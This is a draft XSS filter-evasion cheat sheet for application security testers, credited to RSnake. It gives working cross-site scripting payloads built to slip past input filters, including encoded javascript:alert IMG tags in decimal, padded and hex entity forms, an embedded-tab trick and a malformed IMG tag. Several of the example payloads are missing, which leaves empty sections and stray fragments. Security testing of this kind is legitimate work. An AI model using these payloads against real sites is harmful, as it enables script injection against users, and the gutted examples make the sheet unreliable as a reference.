XSS Filter Evasion Cheat Sheet

= DRAFT CHEAT SHEET - WORK IN PROGRESS =

= Introduction =

This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing.

= Tests =

This cheat sheet is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion.

Please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the page.

XSS Locator
Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. Use this URL encoding calculator to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated "" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//"; alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//-->">'> alert(String.fromCharCode(88,83,83))

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

XSS locator 2
If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for =&{}

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

No Filter Evasion
This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):



Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Image XSS using the JavaScript directive
Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well - I'll probably revise this at a later date):



Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

No quotes and no semicolon


Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Case insensitive XSS attack vector


Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

HTML entities
The semicolons are required for this to work:



Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Grave accent obfuscation
If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents: 

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Malformed IMG tags
Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:

alert("XSS")">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

fromCharCode
if no quotes of any kind are allowed you can eval a fromCharCode in JavaScript to create any XSS vector you need:



Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

UTF-8 Unicode encoding
all of the XSS examples that use a javascript: directive inside of an <IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). Use the XSS Calculator for more information:

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Long UTF-8 Unicode encoding without semicolons
This is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total. This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Hex encoding without semicolons
This is also a viable XSS attack against the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). Use the XSS calculator for more information:

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

Embedded tab
Used to break up the cross site scripting attack:

<IMG SRC="jav&#x09;ascript:alert('XSS');">

Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

= References =

http://ha.ckers.org/xss.html

= Authors and Primary Editors =

RSnake